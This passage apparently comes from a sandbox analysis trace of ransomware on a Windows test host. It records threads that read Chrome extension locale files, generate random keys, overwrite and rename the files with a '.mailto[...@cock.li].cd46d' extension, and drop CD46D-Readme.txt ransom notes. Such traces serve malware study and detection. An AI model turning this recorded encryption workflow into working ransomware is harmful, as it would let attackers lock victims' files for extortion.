Seed=0x161cfd28 | out: Seed=0x161cfd28) returned 0x68afd44e [0198.424] RtlRandomEx (in: Seed=0x161cfd28 | out: Seed=0x161cfd28) returned 0x1d4f623 [0198.424] RtlRandomEx (in: Seed=0x161cfd28 | out: Seed=0x161cfd28) returned 0x491a5745 [0198.424] RtlRandomEx (in: Seed=0x161cfd28 | out: Seed=0x161cfd28) returned 0x43f75f25 [0198.424] RtlRandomEx (in: Seed=0x161cfd28 | out: Seed=0x161cfd28) returned 0xa36af36 [0198.424] RtlRandomEx (in: Seed=0x161cfd28 | out: Seed=0x161cfd28) returned 0x199f1322 [0198.424] RtlRandomEx (in: Seed=0x161cfd28 | out: Seed=0x161cfd28) returned 0x2ba94a14 [0198.424] RtlRandomEx (in: Seed=0x161cfd28 | out: Seed=0x161cfd28) returned 0x7e8086a3 [0198.424] RtlRandomEx (in: Seed=0x161cfd28 | out: Seed=0x161cfd28) returned 0x1145a5ce [0198.424] RtlRandomEx (in: Seed=0x161cfd28 | out: Seed=0x161cfd28) returned 0x2765ad2d [0198.424] RtlRandomEx (in: Seed=0x161cfd28 | out: Seed=0x161cfd28) returned 0x1aaa6b88 [0198.424] RtlRandomEx (in: Seed=0x161cfd28 | out: Seed=0x161cfd28) returned 0x70440b61 [0198.424] RtlRandomEx (in: Seed=0x161cfd28 | out: Seed=0x161cfd28) returned 0x6287d7c9 [0198.424] RtlRandomEx (in: Seed=0x161cfd28 | out: Seed=0x161cfd28) returned 0x4e846ce2 [0198.424] RtlRandomEx (in: Seed=0x161cfd28 | out: Seed=0x161cfd28) returned 0x6c8d9ce9 [0198.424] RtlRandomEx (in: Seed=0x161cfd28 | out: Seed=0x161cfd28) returned 0x34640c36 [0198.424] RtlRandomEx (in: Seed=0x161cfd28 | out: Seed=0x161cfd28) returned 0x73176f1 [0198.424] RtlRandomEx (in: Seed=0x161cfd28 | out: Seed=0x161cfd28) returned 0x25b844bf [0198.424] RtlRandomEx (in: Seed=0x161cfd28 | out: Seed=0x161cfd28) returned 0x1feb8f21 [0198.424] RtlRandomEx (in: Seed=0x161cfd28 | out: Seed=0x161cfd28) returned 0x658db64e [0198.424] RtlRandomEx (in: Seed=0x161cfd28 | out: Seed=0x161cfd28) returned 0x277b09c3 [0198.424] RtlRandomEx (in: Seed=0x161cfd28 | out: Seed=0x161cfd28) returned 0x8e3fcb5 [0198.424] RtlRandomEx (in: Seed=0x161cfd28 | out: Seed=0x161cfd28) returned 0x40dd0d1 [0198.424] RtlRandomEx (in: Seed=0x161cfd28 | out: Seed=0x161cfd28) returned 0x56f873ff [0198.424] RtlRandomEx (in: Seed=0x161cfd28 | out: Seed=0x161cfd28) returned 0x2122147c [0198.424] RtlRandomEx (in: Seed=0x161cfd28 | out: Seed=0x161cfd28) returned 0x60facd40 [0198.424] RtlRandomEx (in: Seed=0x161cfd28 | out: Seed=0x161cfd28) returned 0x4e9f78d8 [0198.424] RtlRandomEx (in: Seed=0x161cfd28 | out: Seed=0x161cfd28) returned 0x39e03f8a [0198.451] ReadFile (in: hFile=0x890, lpBuffer=0x12d1a018, nNumberOfBytesToRead=0xd7, lpNumberOfBytesRead=0x161cfd18, lpOverlapped=0x0 | out: lpBuffer=0x12d1a018*, lpNumberOfBytesRead=0x161cfd18*=0xd7, lpOverlapped=0x0) returned 1 [0198.452] SetFilePointerEx (in: hFile=0x890, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.452] WriteFile (in: hFile=0x890, lpBuffer=0x12e2a008*, nNumberOfBytesToWrite=0xd7, lpNumberOfBytesWritten=0x161cfd14, lpOverlapped=0x0 | out: lpBuffer=0x12e2a008*, lpNumberOfBytesWritten=0x161cfd14*=0xd7, lpOverlapped=0x0) returned 1 [0199.545] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9aed80 [0199.545] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af348 [0199.545] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af348) returned 1 [0199.545] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12e2a008) returned 1 [0199.545] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12d1a018) returned 1 [0199.545] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8faa88) returned 1 [0199.545] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2548) returned 1 [0199.545] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0x937fd0 [0199.545] SetFilePointerEx (in: hFile=0x890, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.545] WriteFile (in: hFile=0x890, lpBuffer=0x12cf6440*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0x161cfd7c, lpOverlapped=0x0 | out: lpBuffer=0x12cf6440*, lpNumberOfBytesWritten=0x161cfd7c*=0x10b, lpOverlapped=0x0) returned 1 [0199.625] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf6440) returned 1 [0199.625] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x938000) returned 1 [0199.625] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af348) returned 1 [0199.625] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x937fd0) returned 1 [0199.625] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aed80) returned 1 [0199.625] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9455f0) returned 1 [0199.625] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945550) returned 1 [0199.625] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945c30) returned 1 [0199.626] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x178) returned 0xd4c6208 [0199.626] wcscpy (in: _Dest=0xd4c6208, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\messages.json" [0199.626] wcscat (in: _Dest=0xd4c6208, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\messages.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\messages.json.mailto[2Hamlampampom@cock.li].cd46d" [0199.626] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x161cfd34, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0199.626] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18e) returned 0xd4c8878 [0199.662] FlushFileBuffers (hFile=0x890) returned 1 [0199.671] CloseHandle (hObject=0x890) returned 1 [0199.700] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x138) returned 0x9b57a0 [0199.700] wcscpy (in: _Dest=0x9b57a0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\" [0199.700] wcscat (in: _Dest=0x9b57a0, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\CD46D-Readme.txt" [0199.700] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\cd46d-readme.txt")) returned 0xffffffff [0199.700] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\cd46d-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1618 [0199.716] WriteFile (in: hFile=0x1618, lpBuffer=0x8e9fe8*, nNumberOfBytesToWrite=0x6fd, lpNumberOfBytesWritten=0x161cfd3c, lpOverlapped=0x0 | out: lpBuffer=0x8e9fe8*, lpNumberOfBytesWritten=0x161cfd3c*=0x6fd, lpOverlapped=0x0) returned 1 [0199.723] CloseHandle (hObject=0x1618) returned 1 [0199.732] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b57a0) returned 1 [0199.732] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x99dce0) returned 1 Thread: id = 8410 os_tid = 0x18ec [0193.492] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\messages.json")) returned 0x2020 [0193.492] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\messages.json", dwFileAttributes=0x20) returned 1 [0193.493] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\messages.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xa34 [0193.493] GetFileSizeEx (in: hFile=0xa34, lpFileSize=0x9e9f9f0 | out: lpFileSize=0x9e9f9f0*=219) returned 1 [0193.493] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af4b0 [0193.493] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9384f0 [0193.493] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x938568 [0193.493] NtQuerySystemTime (in: CurrentTime=0x9e9f950 | out: CurrentTime=0x9e9f950*=132174899680882000) returned 0x0 [0193.493] RtlRandomEx (in: Seed=0x9e9f95c | out: Seed=0x9e9f95c) returned 0x24522a54 [0193.493] RtlRandomEx (in: Seed=0x9e9f95c | out: Seed=0x9e9f95c) returned 0x5c3bf7f1 [0193.493] RtlRandomEx (in: Seed=0x9e9f95c | out: Seed=0x9e9f95c) returned 0x4bb17c7b [0193.493] RtlRandomEx (in: Seed=0x9e9f95c | out: Seed=0x9e9f95c) returned 0x674d73ae [0193.493] RtlRandomEx (in: Seed=0x9e9f95c | out: Seed=0x9e9f95c) returned 0xf50603b [0193.494] RtlRandomEx (in: Seed=0x9e9f95c | out: Seed=0x9e9f95c) returned 0x2edc758 [0193.494] RtlRandomEx (in: Seed=0x9e9f95c | out: Seed=0x9e9f95c) returned 0x3292d198 [0193.494] RtlRandomEx (in: Seed=0x9e9f95c | out: Seed=0x9e9f95c) returned 0x11300e37 [0193.494] RtlRandomEx (in: Seed=0x9e9f95c | out: Seed=0x9e9f95c) returned 0x2e63d69e [0193.494] RtlRandomEx (in: Seed=0x9e9f95c | out: Seed=0x9e9f95c) returned 0x1503ed6f [0193.494] RtlRandomEx (in: Seed=0x9e9f95c | out: Seed=0x9e9f95c) returned 0x5b407dae [0193.494] RtlRandomEx (in: Seed=0x9e9f95c | out: Seed=0x9e9f95c) returned 0x3da80e [0193.494] RtlRandomEx (in: Seed=0x9e9f95c | out: Seed=0x9e9f95c) returned 0x3e86ab96 [0193.494] RtlRandomEx (in: Seed=0x9e9f95c | out: Seed=0x9e9f95c) returned 0x24930407 [0193.494] RtlRandomEx (in: Seed=0x9e9f95c | out: Seed=0x9e9f95c) returned 0x39eae214 [0193.494] RtlRandomEx (in: Seed=0x9e9f95c | out: Seed=0x9e9f95c) returned 0x77704b61 [0193.494] RtlRandomEx (in: Seed=0x9e9f95c | out: Seed=0x9e9f95c) returned 0x1588a8c1 [0193.494] RtlRandomEx (in: Seed=0x9e9f95c | out: Seed=0x9e9f95c) returned 0x50193778 [0193.494] RtlRandomEx (in: Seed=0x9e9f95c | out: Seed=0x9e9f95c) returned 0x5fa3ff19 [0193.494] RtlRandomEx (in: Seed=0x9e9f95c | out: Seed=0x9e9f95c) returned 0x56bfc304 [0193.494] RtlRandomEx (in: Seed=0x9e9f95c | out: Seed=0x9e9f95c) returned 0x18f884ad [0193.494] RtlRandomEx (in: Seed=0x9e9f95c | out: Seed=0x9e9f95c) returned 0x646fb706 [0193.494] RtlRandomEx (in: Seed=0x9e9f95c | out: Seed=0x9e9f95c) returned 0x60bef457 [0193.494] RtlRandomEx (in: Seed=0x9e9f95c | out: Seed=0x9e9f95c) returned 0x173ecc9b [0193.494] RtlRandomEx (in: Seed=0x9e9f95c | out: Seed=0x9e9f95c) returned 0x25066c4c [0193.494] RtlRandomEx (in: Seed=0x9e9f95c | out: Seed=0x9e9f95c) returned 0x49943d88 [0193.494] RtlRandomEx (in: Seed=0x9e9f95c | out: Seed=0x9e9f95c) returned 0x455d5e42 [0193.494] RtlRandomEx (in: Seed=0x9e9f95c | out: Seed=0x9e9f95c) returned 0x6684496f [0193.494] RtlRandomEx (in: Seed=0x9e9f95c | out: Seed=0x9e9f95c) returned 0x76952c5a [0193.494] RtlRandomEx (in: Seed=0x9e9f95c | out: Seed=0x9e9f95c) returned 0x46e5e8b3 [0193.494] RtlRandomEx (in: Seed=0x9e9f95c | out: Seed=0x9e9f95c) returned 0x3466416 [0193.494] RtlRandomEx (in: Seed=0x9e9f95c | out: Seed=0x9e9f95c) returned 0x7d0ab160 [0193.507] ReadFile (hFile=0xa34, lpBuffer=0x13335860, nNumberOfBytesToRead=0xdb, lpNumberOfBytesRead=0x9e9f94c, lpOverlapped=0x0) [0193.508] SetFilePointerEx (in: hFile=0xa34, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.508] WriteFile (in: hFile=0xa34, lpBuffer=0x13342068*, nNumberOfBytesToWrite=0xdb, lpNumberOfBytesWritten=0x9e9f948, lpOverlapped=0x0 | out: lpBuffer=0x13342068*, lpNumberOfBytesWritten=0x9e9f948*=0xdb, lpOverlapped=0x0) returned 1 [0194.463] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9458c0 [0194.463] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9455a0 [0194.463] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9455a0) returned 1 [0194.463] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x13342068) returned 1 [0194.463] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x13335860) returned 1 [0194.463] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e8f08) returned 1 [0194.463] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f9b58) returned 1 [0194.463] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0x8f6a20 [0194.463] SetFilePointerEx (in: hFile=0xa34, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.463] WriteFile (in: hFile=0xa34, lpBuffer=0x12cf5090*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0x9e9f9b0, lpOverlapped=0x0 | out: lpBuffer=0x12cf5090*, lpNumberOfBytesWritten=0x9e9f9b0*=0x10b, lpOverlapped=0x0) returned 1 [0195.880] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf5090) returned 1 [0195.880] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6a50) returned 1 [0195.880] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9455a0) returned 1 [0195.880] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6a20) returned 1 [0195.880] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9458c0) returned 1 [0195.880] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9384f0) returned 1 [0195.880] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x938590) returned 1 [0195.881] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9385b8) returned 1 [0195.881] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x17a) returned 0x12cf7288 [0195.881] wcscpy (in: _Dest=0x12cf7288, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\messages.json" [0195.881] wcscat (in: _Dest=0x12cf7288, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\messages.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\messages.json.mailto[2Hamlampampom@cock.li].cd46d" [0195.881] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x9e9f968, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0195.881] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x190) returned 0xd4c93a0 [0196.027] FlushFileBuffers (hFile=0xa34) returned 1 [0196.034] CloseHandle (hObject=0xa34) returned 1 [0196.099] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x13a) returned 0x9b6ff8 [0196.099] wcscpy (in: _Dest=0x9b6ff8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\" [0196.099] wcscat (in: _Dest=0x9b6ff8, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\CD46D-Readme.txt" [0196.099] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\cd46d-readme.txt")) returned 0xffffffff [0196.099] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\cd46d-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x13e0 [0196.206] WriteFile (in: hFile=0x13e0, lpBuffer=0x8e9fe8*, nNumberOfBytesToWrite=0x6fd, lpNumberOfBytesWritten=0x9e9f970, lpOverlapped=0x0 | out: lpBuffer=0x8e9fe8*, lpNumberOfBytesWritten=0x9e9f970*=0x6fd, lpOverlapped=0x0) returned 1 [0196.207] CloseHandle (hObject=0x13e0) returned 1 [0196.207] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b6ff8) returned 1 [0196.207] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9a4e50) returned 1 Thread: id = 8411 os_tid = 0x18f0 [0193.510] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\messages.json")) returned 0x2020 [0193.512] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\messages.json", dwFileAttributes=0x20) returned 1 [0198.526] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\messages.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x8fc [0198.527] GetFileSizeEx (in: hFile=0x8fc, lpFileSize=0xa70f958 | out: lpFileSize=0xa70f958*=216) returned 1 [0198.527] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9457d0 [0198.527] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x945848 [0198.527] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x945af0 [0198.527] NtQuerySystemTime (in: CurrentTime=0xa70f8b8 | out: CurrentTime=0xa70f8b8*=132174899731270000) returned 0x0 [0198.527] RtlRandomEx (in: Seed=0xa70f8c4 | out: Seed=0xa70f8c4) returned 0x2e6bccc9 [0198.527] RtlRandomEx (in: Seed=0xa70f8c4 | out: Seed=0xa70f8c4) returned 0x30c34d6 [0198.527] RtlRandomEx (in: Seed=0xa70f8c4 | out: Seed=0xa70f8c4) returned 0x60249180 [0198.527] RtlRandomEx (in: Seed=0xa70f8c4 | out: Seed=0xa70f8c4) returned 0x1f248bed [0198.527] RtlRandomEx (in: Seed=0xa70f8c4 | out: Seed=0xa70f8c4) returned 0x40710236 [0198.527] RtlRandomEx (in: Seed=0xa70f8c4 | out: Seed=0xa70f8c4) returned 0x73dd930c [0198.527] RtlRandomEx (in: Seed=0xa70f8c4 | out: Seed=0xa70f8c4) returned 0x34801b5f [0198.527] RtlRandomEx (in: Seed=0xa70f8c4 | out: Seed=0xa70f8c4) returned 0x7041ba0c [0198.527] RtlRandomEx (in: Seed=0xa70f8c4 | out: Seed=0xa70f8c4) returned 0x26b921b2 [0198.527] RtlRandomEx (in: Seed=0xa70f8c4 | out: Seed=0xa70f8c4) returned 0x595b557f [0198.527] RtlRandomEx (in: Seed=0xa70f8c4 | out: Seed=0xa70f8c4) returned 0x5e0af752 [0198.527] RtlRandomEx (in: Seed=0xa70f8c4 | out: Seed=0xa70f8c4) returned 0x17e5eec9 [0198.527] RtlRandomEx (in: Seed=0xa70f8c4 | out: Seed=0xa70f8c4) returned 0x1fc79725 [0198.527] RtlRandomEx (in: Seed=0xa70f8c4 | out: Seed=0xa70f8c4) returned 0x51ab0a95 [0198.527] RtlRandomEx (in: Seed=0xa70f8c4 | out: Seed=0xa70f8c4) returned 0x6bb5de2e [0198.527] RtlRandomEx (in: Seed=0xa70f8c4 | out: Seed=0xa70f8c4) returned 0x7ab057d4 [0198.527] RtlRandomEx (in: Seed=0xa70f8c4 | out: Seed=0xa70f8c4) returned 0x522d3744 [0198.527] RtlRandomEx (in: Seed=0xa70f8c4 | out: Seed=0xa70f8c4) returned 0x5bba13d0 [0198.527] RtlRandomEx (in: Seed=0xa70f8c4 | out: 